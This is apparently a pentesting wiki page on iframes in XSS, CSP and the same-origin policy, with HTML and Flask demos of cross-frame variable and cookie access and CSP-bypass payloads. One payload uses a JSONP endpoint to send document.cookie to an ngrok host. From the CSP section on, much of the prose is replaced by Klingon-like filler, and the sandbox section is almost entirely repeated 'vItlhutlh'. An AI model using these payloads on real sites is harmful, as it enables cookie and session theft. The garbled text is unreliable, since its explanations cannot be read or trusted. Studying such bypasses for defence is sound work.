Iframes in XSS, CSP and SOP

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Iframes in XSS

There are 3 ways to indicate the content of an iframed page:

Via src indicating an URL (the URL may be cross origin or same origin)
Via src indicating the content using the data: protocol
Via srcdoc indicating the content

Accesing Parent & Child vars

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>

<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window.
Note how if4 is considered to have null origin.

Iframes with CSP

{% hint style="info" %} Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution. {% endhint %}

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

ghItlhvam CSP vItlhutlh inline script execution choH.
if1 if2 scripts execution choH if1 parent secret access loS.

CSP bypass possible JS file server upload load iframe script-src 'none' ghItlhvam. potentially abusing same-site JSONP endpoint ghItlhvam.

cookie stolen scenario test possible script-src 'none' loS. application run access browser ghItlh:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Qa'leghvam vItlhutlh

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Iframe vItlhutlh

Iframe vItlhutlh vItlhutlh sandbox attribute vItlhutlh. vItlhutlh, vItlhutlh attribute vItlhutlh, vItlhutlh vItlhutlh vItlhutlh vItlhutlh.

vItlhutlh, sandbox attribute vItlhutlh vItlhutlh vItlhutlh:

vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh.
vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh.
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vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh.
vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh.
<embed>, <object>, <applet>, vIghoS tags vItlhutlh vItlhutlh vItlhutlh.
vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh vItlhutlh.
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<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP

Check the following pages:

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}